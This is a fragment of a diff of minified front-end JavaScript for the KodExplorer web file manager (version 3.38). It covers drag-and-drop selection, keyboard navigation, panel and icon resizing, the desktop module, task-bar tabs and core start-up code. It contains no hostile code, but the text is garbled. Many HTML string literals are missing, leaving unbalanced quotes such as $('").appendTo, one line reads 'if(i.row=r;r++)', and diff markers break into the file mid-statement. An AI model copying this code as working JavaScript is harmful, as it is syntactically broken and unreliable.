v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),z(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+' "'+t+'"',move_to:''+LNG.cute_to+' "'+t+'"',remove:''+LNG.remove+a+" ",share:''+LNG.share+a+" ",none:''+LNG.no_permission_write+" ",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+" "),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=S||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),T=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},z=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+N*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};
-if(i.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=60,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}});
\ No newline at end of file
+/*! power by kodexplorer ver3.38(2017-03-01) [build 1488342123688] */
+define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.myhome+"picture/wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("
"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liqui